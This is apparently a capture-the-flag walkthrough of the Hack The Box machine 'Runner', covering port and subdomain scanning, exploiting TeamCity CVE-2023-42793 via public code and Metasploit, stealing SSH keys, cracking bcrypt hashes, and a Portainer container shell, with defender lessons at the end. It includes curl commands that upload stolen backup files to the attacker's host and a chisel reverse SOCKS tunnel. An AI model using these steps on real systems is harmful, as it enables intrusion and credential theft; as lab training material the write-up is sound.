Runner
2024-04-20
INTRODUCTION
Are you ready for HTB’s Season 5, Anomalies? I sure am! Runner is the very first box of the season. Thankfully, it’s a reasonably straightforward Linux box - rated “Medium” but actually more on the easy side. The box centers around a cloud-based business that offers a CI/CD solution - basically just hosting JetBrains’ TeamCity and selling it as a service. While many boxes are pretty far-removed from reality, this one was actually made from a very realistic architecture, where customers run containerized CI/CD pipelines and the service provider has some kind of management product to administer and monitor it all.
Each individual step of this box was relatively easy. A little bit of recon uncovers a vulnerable subdomain. From there, fingerprinting the software will inform vulnerability research and lead into a whole slew of public exploits, making RCE a breeze. If you do a little research on the target before gaining RCE, you’ll know exactly what to look for once you do gain a foothold, making the user flag equally simple. After gaining the user flag, the box may feel a little open-ended. However, some local enumeration of the target will definitely point you in the right direction. This biggest surprise with the root flag is that the flag isn’t really where you might expect it to be: this box ended a lot more abruptly than I thought.
All in all, Runner is a gentle re-introduction to the competitive HTB seasons. Best of luck for the remainder of the boxes!
RECON
nmap scans
For this box, I’m using a new recon strategy: I took some time recently and automated all of my nmap scans into one tool. Perhaps I’ll release it publicly sometime, but in this walkthrough I’ll just be providing the console output as usual.
I set $RADDR
to the target machine’s IP, and proceeded with scanning.
Port scan
I started with a simple but broad port scan:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8000/tcp open http-alt
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://runner.htb/
8000/tcp open nagios-nsca Nagios NSCA
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 22 and 80 are very typical, but look what’s running on 8000 - Nagios!
🔔 Does that ring a bell? I recently did the box Monitored, which centred around Nagios XI. Check out my walkthrough on it for more detail. It looks like Nagios NSCA is a daemon that allows Nagios to read the status of a remote service.
Vuln scan
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
No new results from this vuln scan.
UDP scan
To be thorough, I also did a scan over the common UDP ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
PORT STATE SERVICE VERSION
7/udp open|filtered echo
9/udp open|filtered tcpwrapped
19/udp open|filtered tcpwrapped
68/udp open|filtered tcpwrapped
135/udp open|filtered msrpc
136/udp open|filtered tcpwrapped
158/udp open|filtered tcpwrapped
515/udp open|filtered tcpwrapped
998/udp open|filtered tcpwrapped
1026/udp open|filtered win-rpc
1434/udp open|filtered ms-sql-m
1645/udp open|filtered tcpwrapped
5353/udp open|filtered zeroconf
30718/udp open|filtered tcpwrapped
49194/udp open|filtered unknown
Note that any
open|filtered
ports are either open or (much more likely) filtered.
Webserver Strategy
Noting the redirect from the nmap scan, I added runner.htb
to /etc/hosts and did banner grabbing on that domain:
DOMAIN=runner.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
whatweb $RADDR && curl -IL http://$RADDR
That’s the current Nginx
version. I’ve never heard of TeamCity!
though. A search revealed that it’s a CI/CD product from JetBrains. The current version is 2024.03
.
Next I performed vhost and subdomain enumeration:
WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v
Alright, that’s the expected result. Nothing else though. Now I’ll check for subdomains of runner.htb
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v
I’ll add teamcity.runner.htb
to my /etc/hosts
file and check out the page. Upon nagivating to it, I was redirected to teamcity.runner.htb/login.html
:
The login page shown above includes the TeamCity version number, 2023.05.3
, which we already know is almost a year out of date. This is probably something I should look into later 🚩
I’ll move on to directory enumeration on http://runner.htb:
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o ffuf-directories-root -of json -e php,asp,js,html -timeout 4 -v
Directory enumeration against http://runner.htb/ gave a whole bunch of typical website stuff. Nothing too interesting. Let’s check out the subdomain teamcity.runner.htb
next:
ffuf -w $WLIST:FUZZ -u http://teamcity.$DOMAIN/FUZZ -t 80 -c -o ffuf-directories-teamcity -of json -e php,js,html -timeout 4
TeamCity appears to be a fairly large application. All of the HTTP 401
responses were redirects to the login page. However, there was one interesting HTTP 200
result:
Unfortunately, that page also redirects to the login page…
Exploring the Website
The website on port 80 appears to just be a landing page for Runner. It seems like an online service that wraps TeamCity.
There doesn’t appear to be anything interactible on the page. The Get a Quote button has a mailto
link, but that’s all. I’ll avoid this site for now, and instead change my attention to teamcity.runner.htb
and to the service on port 8000 (Nagiox NSCA).
TeamCity
Since discovering that TeamCity was running an old version, it seemed smart to check for known exploits. Searchsploit shows something juicy:
RCE? Fantastic - let’s check that out. Reading through the code, it looks like the vulnerability was reported as CVE-2023-42793, and was a pretty big deal last year (I didn’t know).
It looks like it works by requesting an authentication token from the TeamCity REST API, then using that token to create a new admin user:
FOOTHOLD
CVE-2023-42793
The exploit shown in searchsploit
looked quite straightforward and promising, so I tried it right away. Unfortunately, it didn’t produce any result. However, when you find a hint of such a high-profile vulnerability, it’s usually a good idea to check Github too…
Thankfully, there were tons of options to choose from. The next one I tried was this one, by @H454NSec. It worked without any trouble at all:
Indeed, the user it created got me admin access, past that teamcity.runner.htb/login.html
page:
TeamCity
While the TeamCity dashboard appears to be empty, and there are no current projects, we do seem to be able to edit project settings. Perhaps I can even set up a new build pipeline?
💡 This is starting to remind me of another HTB box, Builder.
For that box, we took over a Jenkins server and set up a build pipeline to gain RCE on the target. Maybe it will be possible to do something similar with TeamCity?
I also see that there are some SSH keys on the TeamCity server. You’re able to register keys into TeamCity so that it can access your VCS repos using SSH authentication.
Again, this was a pretty high-provile vulnerability. While I could probably fumble around in this dashboard for a while and figure out how to gain RCE, I’m sure there’s someone else out there that has done it better.
A little bit of searching brought me to the Rapid7 post on this CVE (and related ones). Surprise, surprise: there is a metasploit module for it! Let’s switch over to msfconsole
and try it out.
I’ll use (0) with Linux presets. Checking show options
on this exploit, I see that it intends to use ports 8080 and 4444, so I’ll open those then configure the exploit:
sudo ufw allow from $RADDR to any port 4444,8080 proto tcp
Meterpreter session open! That was easy 😉
I’m much more comfortable in a system shell, so let’s pop into that instead:
shell
which python python3 perl php bash # python3 is present
python3 -c 'import pty; pty.spawn("/usr/bin/bash");'
Taking a quick look around, I seem to be lacking quite a few tools. For example, I don’t even have netstat
. Perhaps I’m in a container? TBD.
For now though, I know of some important loot I should grab: the SSH private keys. According to the TeamCity docs, they should be located in <TeamCity Data Directory>/config/projects/<project>/pluginData/ssh_keys
. I wasn’t quite sure what the <TeamCity Data Directory>
would be, so I just searched for it:
find / -type d -name ssh_keys 2>/dev/null
# /data/teamcity_server/datadir/config/projects/AllProjects/pluginData/ssh_keys
Perfect - right where they should be. Since one of these is called john
, I’m really hoping that john was lazy and simply re-used a more general-purpose SSH private key 😅
While there are more elegant ways to do it, I simply copy-pasted each of these private keys over to my attacker machine. I can also get the public keys from the TeamCity dashboard if I want them.
On my attacker machine, I tried logging as john using SSH
:
Unfortunately, john
seems to also require a password even when using key-based authentication.
Although it seemed unlikely, I also attempted logins with the other two keys I found. Much to my surprise…
Wow! Using id_rsa
worked for logging in as john
! 🎉
The SSH connection for john
drops you into /home/john
, adjacent to the user flag. Simply cat
it out for the points:
USER FLAG
Finishing Enumeration
Just to be thorough, I decided I should finish up the local enumeration I had started earlier, during foothold. Interestingly, I found a file a couple directories “up” from ssh_keys
called project-config.xml.1
:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" uuid="74bcc617-7a28-47cb-9b99-809e598e90f7" xsi:noNamespaceSchemaLocation="https://www.jetbrains.com/teamcity/schemas/2021.1/project-config.xsd">
<name>M-Projects</name>
<description>Matthew's projects</description>
<parameters />
<cleanup />
</project>
There’s a clear mention of someone named Matthew. I wonder who this is? 🔍
I did a find
for any files containing the word john
:
find / maxdepth 8 -type f ! -path '/proc/*' ! -path '/dev/*' -exec grep "john" {} +
Naturally, the list of results was very very long. However, near the bottom I found something very promising, in /data/teamcity_server/datadir/system/buildserver.log
:
INSERT INTO USERS VALUES(1,'admin','$2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye','John','john@runner.htb',1713649075462,'BCRYPT')
That’s a password hash. With any luck, I’ll be able to cract that hash and know the password for john
. Even though I already have an SSH login, it might be useful to also have a password.
Cracking the hash
# Check what the name of the hash format is
name-that-hash -t '$2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye'
# It's "bcrypt" in john, or mode 3200 in hashcat
echo -n '$2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye' > hash.txt
WLIST=/usr/share/wordlists/rockyou.txt
hashcat -m 3200 hash.txt $WLIST
Ok, that will take about 25 minutes - so I’ll let it run and check back later. In the meantime, I’ll keep looking around this system.
I figured that a good place to start was the log file where I obtained that password hash. From there, I found some other interesting lines:
INSERT INTO USERS VALUES(11,'city_adminwhuv','$2a$07$eUwRkt5HJl1DZKr9py62sePYSi7sVG9sMVjZh1h4U6oIJ6IMCf0xa',NULL,'angry-admin@funnybunny.org',1713645885602,'BCRYPT')
Alright, that’s another account. I’ll be sure to add that to the list of hashes to crack…
I also found some very interesting-looking backup files at /data/teamcity_server/datadir/backup
:
-rw-r----- 1 tcuser tcuser 266K Apr 20 20:51 TeamCity_Backup_20240420_205139.zip
-rw-r----- 1 tcuser tcuser 266K Apr 20 20:54 TeamCity_Backup_20240420_205442.zip
This box doesn’t have nc
, and I don’t have an SSH login, so instead of my usual methods, I’ll use a Python UploadServer
:
sudo ufw allow from $RADDR to any port 8001 proto tcp
mkdir uploadserver && cd uploadserver
python3 -m uploadserver 8001
Then, from the target, I’ll upload the two backup .zip
files:
mkdir /tmp/.Tools
cp /data/teamcity_server/datadir/backup/TeamCity* /tmp/.Tools/
curl -X POST http://10.10.14.15:8001/upload -F 'files=@/tmp/.Tools/TeamCity_Backup_20240420_205139.zip'
curl -X POST http://10.10.14.15:8001/upload -F 'files=@/tmp/.Tools/TeamCity_Backup_20240420_205442.zip'
Back on the attacker box, I unzipped these files and took a look. Unsurprisingly, there was a database backup. Inside each of the backup zip
files, the database backup had a Users table, and they each held a previously-unseen password hash, for matthew
.
Both backup files held exactly the same password hashes. Andt hose hashes matched the non-backup ones that I found in the live system.
I added these to my hash file, and re-started my hash cracking:
hashcat -m 3200 hashes.txt $WLIST
After a very short time, I had a result: matthew : piper123
ROOT FLAG
Local Enumeration
The home directory for john
doesn’t seem to have anything super interesting in it. I also tried changing users to matthew
using su
, but didn’t have any luck.
There is, however, a conspicuous nonstandard directory at the filesystem root: /data
. There’s a subdirectory that we can read as john
:
Interesting… matthew
owns the directories. Perhaps this indicates we’ll need to pivot to matthew
before root?
I’ll run through my typical “manual” local enumeration procedure, just so I don’t miss anything obvious:
id && cat /etc/passwd | grep -v nologin | grep -v /bin/false | grep -vE '^sync:'
The only significant users are john
, matthew
and root
. What directories does john
own?
find / -user $USER 2>/dev/null | grep -v '^\(/sys\|/proc\|/run\)'
find / -group $USER 2>/dev/null | grep -v '^\(/sys\|/proc\|/run\)'
Just their home
directory, pretty much. Do we have access to any particularly useful tools?
which nc netcat socat curl wget python python3 perl php tmux
# nc, netcat, curl, wget, python3, perl, tmux
What processes are listening for connections?
So listening externally, we see TCP 22, 80, and 8000 again. But now we can see some TCP ports listening internally too:
- 9000: Uncommon port, but might be PHP-FPM (FastCGI Process Manager)?
- 5005: TeamCity server default port
- 8111: default HTTP port for TeamCity
- 9443: probably some custom service using SSL/TLS?
I should follow-up on all of these. 🚩 I’ll open a SOCKS5 proxy for my attacker machine to connect to all of these internal services. See the following section for more detail.
Continuing on with enumeration, I’ll check the network interfaces to investigate any containers:
Next I’ll check crontab
, cron.d
, /var/spool/cron/crontabs
, anacrontab
and systemd
timers. No significant results were found though. Are there any SUID/SGID executables that seem out of place?
find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -l {} \; 2>/dev/null | grep -v '/proc'
Nope, all normal there. I’ll check the target’s kernel version using Linux Exploit Suggester, by copying the output of uname -a
:
linux-exploit-suggester.sh --uname 'Linux runner 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux'
Amongst some usual false-positives, it suggests that the target may be vulnerable to DirtyPipe. Definitely worth checking later 🚩
I’ll check for binaries with unusual capabilities:
getcap -r / 2>/dev/null
Just normal stuff. What about running services?
Most of this looks pretty normal. I’m not familiar with portainer.service though. From what I can tell, it’s kinda like Kubernetes? I’ll also need to follow-up on this 🚩
Chisel SOCKS Proxy
To access the internally-listening services I found during enumeration, I’ll set up a SOCKS proxy using chisel. I’ll begin by opening a firewall port and starting the chisel
server:
☝️ Note: I already have proxychains installed, and my
/etc/proxychains.conf
file ends with:socks5 127.0.0.1 1080
sudo ufw allow from $RADDR to any port 9999 proto tcp
./chisel server --port 9999 --reverse &
Then, on the target machine, start up the chisel client and background it:
./chisel client 10.10.14.2:9999 R:1080:socks &
LinPEAS
I’ll run LinPEAS to see if I missed anything important during my initial enumeration.
I should have checked DNS info, because there’s a subdomain in there that I was not expecting, portainer-administration.runner.htb
:
I’ll add this new subdomain to my /etc/hosts
file and check it out next 🚩
⚠️ I’ve noticed that it’s pretty much futile to try to transfer tools onto this machine. In the last few minutes, both of the directories I created,
/tmp/.Tools
and/dev/shm/.Tools
have been completely wiped out… 🤔
The thing that looks most out-of-place about all this seems to be this portainer
thing. I’ll check that out first.
Internally-listening TCP Ports
Since I have a SOCKS5 proxy open, I’ll check out what is running on each of those ports that I found during enumeration.
First up is port 9000:
proxychains nc 127.0.0.1 9000
# "HTTP Bad Request" aha so it must be http
proxychains curl http://127.0.0.1:9000
# Some kind of page for Portainer. I'll save it and open it in a browser
proxychains curl http://127.0.0.1:9000 -o source/port_9000.html
firefox source/port_9000.html
That’s interesting… I’ll have to investigate this Portainer thing next 🚩
Port 9443
First, I’ll grab the banner using nc
, if there is one:
No, there’s no response… I’ll take a guess and try http
:
Alright, that verifies that it’s https
. Trying again, and using the -k
switch, we see seeminly the same result as port 9000:
Alright then - It seems that Port 9000 and Port 9443 are counterparts of the same service, with HTTP
on port 9000 and HTTPS
on port 9443. It seems very clear that I should investigate Portainer next.
Portainer
The Portainer documentation urges you to understand the architecture before proceeding. Thankfully, they provide a handy graphic:
This graphic also identifies TCP port 9443: it looks like it’s some kind of Portainer management and polling service. It’s also the port that we should be able to access the dashboard on.
My enumeration earlier uncovered the subdomain portainer-administration.runner.htb
, so why not check that out and see if it connects to either port 9000 or 9443?
Navigating to that subdomain brings us to a Portainer login page. I’ll try some simple credentials, starting with the one I recovered earlier from hash for matthew from the database backup:
😉 Haha, perfect - First try! Logging in brings us to a dashboard:
Portainer Dashboard
Clicking on the environment shown above, it looks like we can check the container (basically just an interface for docker
), what images we have stored, what volumes it is connected to, and networking info:
To identify the container, I looked at what images we have available:
Alright, so our one container is clearly the one that’s running TeamCity
. Not too surprising.
The container is connected to one volume, called t2p
. It connects /var/lib/docker/volumes/t2p/_data
from the host system to /mnt/root
inside the container. For what it’s worth, I checked the mount point, but it’s inaccessible as john
(owner is root).
The Networks view shows a bunch of information we already knew by examining the host system. Seemingly nothing important.
The Container button is basically an interface to do anything Docker can do. This includes docker exec
. As such, this functionality in Portainer is enough to give us a terminal into the container (called t2ppwn
), through the Console view:
I took a little look around inside the container. And yep, this is definitely the TeamCity instance that we just escaped from when we escalated to john
. We’re also logged in as the same user as before, tcuser
.
🤔 This is the container that I used to gain an initial foothold… We escaped from this to escalate to
john
.Thinking of this like a puzzle, not an actual engagement, what is the logical next step? If Portainer is only granting me access to something I already had access to, then there must be something else. What does Portainer do for us that we didn’t already have?
Ahh, I see! I was fooled by a deceptive UI! Compare these two images:
😅 Yeah, I didn’t see it at first either.
We can use this feature to log into the container as any user. Maybe with root access, I’ll be able to reach something I couldn’t before? I know of a few docker-escape privesc methods that rely on having the root user inside the container to be able to escalate privilege outside the container (in the host system).
This drops us into a shell at /mnt
. There’s a single directory called root
, seemingly holding a whole rootfs
. I’ll check that out:
Wait, what?! The root flag was inside the container? Nice 😁
Just cat
the flag for the points:
cat root.txt
Congratulations on finishing the first box of Season 5 🎉
CLEANUP
Attacker
On my attacker box, I’ll get rid of all the stray ufw
rules I created. It’s a good policy to clear this stuff out. This just deletes all the rules:
NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;
Since I have a personal instance for this box, there’s no extra cleanup necessary on the target - I’ll just terminate the instance instead.
LESSONS LEARNED
Attacker
📔 Think less, research more. I uncovered the version of
TeamCity
that the target was using and realized it was vulnerable pretty quickly. However, I was partway through writing my own exploit for it when I realized that the vulnerability I was facing was actually pretty famous. Even a cursory search on Github and NVD revealed a plethora of actionable information. There was definitely no reason to “reinvent the wheel” on this one.📍 Explore manually while you enumerate. When facing a web target, I find it helpful to queue up a couple
ffuf
scans at once, then manually explore the target. In this case, the website was unimportant to actually exploiting the target, but was helpful for gaining an understanding of the fictional business that the target used. Also, taking the time to read through the TeamCity documentation was quite helpful, because I knew exactly where to look for loot once I gained a foothold.
Defender
🐙 CI/CD tools should be bulletproof: stay updated and stable. This goes double if you’re selling CI/CD as a service: not only are you putting your own business at risk, you’re endangering all of your clients and potentially all of their customers. It is absolutely essential to use the latest well-tested stable branch of a CI/CD tool, and to stay especially attuned to any news about that product. As far as I know, the critical (CVSS 9.8) vulnerability was patched within a week of disclosure, but this “Runner” company was running a version over a year old.
🔁 Password re-use is bad, but key re-use is almost as bad. I’m the last guy who’d ever stick my hand up and say “I love key management, it’s so fun!”, but I will definitely admit it’s important. While there are better ways to do it, every operating system I use has its own keyring system, and it’s pretty seamless to just generate keys and manage them at the OS level. Start with that, and re-assess later if a more comprehensive system is necessary - but definitely don’t get lazy and start re-using keys.
🤐 Keep sensitive data out of backups. This can be really tricky, especially if you’re actively working on developing a product. The best way to keep secrets and sensitive data from leaking into backups or build artifacts is to know exactly where they’re stored, and never let them reside elsewhere. Solutions for this problem will vary from organization to organization, but a great start is to use the credential leak scanner built into github.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake